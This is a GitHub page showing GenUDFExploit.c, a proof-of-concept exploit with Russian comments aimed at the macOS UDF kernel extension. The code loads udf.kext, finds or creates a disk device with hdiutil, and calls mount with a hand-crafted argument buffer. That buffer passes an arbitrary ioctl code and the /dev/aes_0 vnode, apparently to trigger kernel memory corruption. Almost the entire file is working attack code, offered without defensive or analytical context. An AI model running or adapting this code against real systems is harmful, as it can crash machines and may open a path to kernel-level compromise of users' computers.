-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathGenUDFExploit.c
177 lines (161 loc) · 7.14 KB
/
GenUDFExploit.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
#import <Foundation/Foundation.h>
#include <sys/mount.h>
#include <sys/ioctl.h>
// Компиляция: clang GenUDFExploit.m -o GenUDFExploit
// Запуск: ./GenUDFExploit
// Функция создает временную директорию в /tmp и возвращает ее путь
static char *create_temp_directory(void) {
char *tmp_path = malloc(PATH_MAX);
if (!tmp_path) {
fprintf(stderr, "Ошибка выделения памяти для временного пути\n");
exit(EXIT_FAILURE);
}
strcpy(tmp_path, "/tmp/GenUDFExploit_tmp.XXXXXXXX");
atexit_b(^{ free(tmp_path); });
mkdtemp(tmp_path);
return tmp_path;
}
// Загрузка файловой системы UDF, если она не загружена
static int ensure_udf_loaded(void) {
struct vfsconf fs_conf = {};
int load_error = getvfsbyname("udf", &fs_conf);
if (load_error == 0) {
return 0; // UDF уже загружена
}
int process_id = fork();
if (process_id == 0) {
// Дочерний процесс: загружаем UDF с помощью kextload
execl("/sbin/kextload", "/sbin/kextload", "/System/Library/Extensions/udf.kext", NULL);
fprintf(stderr, "Ошибка запуска kextload\n");
exit(EXIT_FAILURE);
} else if (process_id > 0) {
// Родительский процесс: ждем завершения дочернего процесса
int status = 0;
wait4(process_id, &status, 0, NULL);
if (WIFEXITED(status) && WEXITSTATUS(status) != 0) {
fprintf(stderr, "Ошибка загрузки модуля UDF\n");
return -1;
}
} else {
fprintf(stderr, "Ошибка при создании процесса\n");
return -1;
}
// Проверяем загрузку UDF после kextload
load_error = getvfsbyname("udf", &fs_conf);
return load_error;
}
// Поиск доступного диска в /dev/disk*
static char* find_readable_disk(void) {
char* disk_path = malloc(128);
if (!disk_path) {
fprintf(stderr, "Ошибка выделения памяти для поиска диска\n");
exit(EXIT_FAILURE);
}
for (int i = 0; i < 128; i++) {
sprintf(disk_path, "/dev/disk%d", i);
if (access(disk_path, F_OK) == 0 && access(disk_path, R_OK) == 0) {
return disk_path; // Возвращаем найденный путь к диску
}
}
free(disk_path); // Освобождаем память, если не найдено ни одного диска
return NULL;
}
// Создание .dmg файла по указанному пути
static int create_disk_image(const char* dmg_path) {
int process_id = fork();
if (process_id == 0) {
execl("/usr/bin/hdiutil", "/usr/bin/hdiutil", "create", "-size", "10m", "-fs", "APFS", dmg_path, NULL);
fprintf(stderr, "Ошибка создания .dmg файла с помощью hdiutil\n");
exit(EXIT_FAILURE);
} else if (process_id > 0) {
int status = 0;
wait4(process_id, &status, 0, NULL);
if (WIFEXITED(status) && WEXITSTATUS(status) != 0) {
fprintf(stderr, "Ошибка создания .dmg файла\n");
return -1;
}
} else {
fprintf(stderr, "Ошибка при создании процесса для hdiutil\n");
return -1;
}
return 0;
}
// Монтирование .dmg файла без автоматического открытия
static int mount_disk_image(const char* dmg_path) {
int process_id = fork();
if (process_id == 0) {
execl("/usr/bin/hdiutil", "/usr/bin/hdiutil", "attach", "-noautoopen", "-nomount", dmg_path, NULL);
fprintf(stderr, "Ошибка монтирования .dmg файла с помощью hdiutil\n");
exit(EXIT_FAILURE);
} else if (process_id > 0) {
int status = 0;
wait4(process_id, &status, 0, NULL);
if (WIFEXITED(status) && WEXITSTATUS(status) != 0) {
fprintf(stderr, "Ошибка монтирования .dmg файла\n");
return -1;
}
} else {
fprintf(stderr, "Ошибка при создании процесса для монтирования .dmg файла\n");
return -1;
}
return 0;
}
// Создание и загрузка .dmg файла для использования как диск
static void create_and_attach_disk(void) {
char dmg_path[128] = {};
strcpy(dmg_path, "/tmp/GenUDFExploit_disk.dmg");
unlink(dmg_path); // Удаляем старый файл, если он существует
printf("Создаем образ диска по пути: %s\n", dmg_path);
if (create_disk_image(dmg_path) != 0) {
fprintf(stderr, "Не удалось создать образ диска\n");
return;
}
if (mount_disk_image(dmg_path) != 0) {
fprintf(stderr, "Не удалось смонтировать образ диска\n");
return;
}
}
// Главная функция PoC: проверка загрузки UDF и монтирование диска
static void udf_exploit(void) {
int err = ensure_udf_loaded();
if (err == 0) {
printf("Файловая система UDF успешно загружена\n");
} else {
fprintf(stderr, "Не удалось загрузить расширение ядра UDF\n");
return;
}
char* disk_path = find_readable_disk();
if (disk_path == NULL) {
create_and_attach_disk(); // Если диск не найден, создаем и монтируем новый .dmg
disk_path = find_readable_disk();
}
if (disk_path == NULL) {
fprintf(stderr, "Не удалось найти доступный диск /dev/disk*\n");
return;
}
char* mount_dir = create_temp_directory();
printf("Каталог для монтирования: %s\n", mount_dir);
// Подготовка аргументов для монтирования
char mount_arguments[0x468] = {};
*(char**)(mount_arguments) = disk_path;
char* args = mount_arguments + 8;
*(int*)(args + 1076) = 0x40285465; // Произвольная команда ioctl
*(int*)(args + 1068) = 0;
*(int*)(args + 1036) = 2;
*(int*)(args + 1024) = 1;
*(int*)(args + 1028) = 1;
// Используемое устройство vnode
const char* vnode_device = "/dev/aes_0";
strcpy(args, vnode_device);
// Пытаемся смонтировать файловую систему UDF
err = mount("udf", mount_dir, MNT_RDONLY, mount_arguments);
if (err != 0) {
fprintf(stderr, "Ошибка монтирования файловой системы UDF\n");
} else {
printf("Удалось ли избежать kernel panic?\n");
}
}
int main() {
udf_exploit();
return 0;
}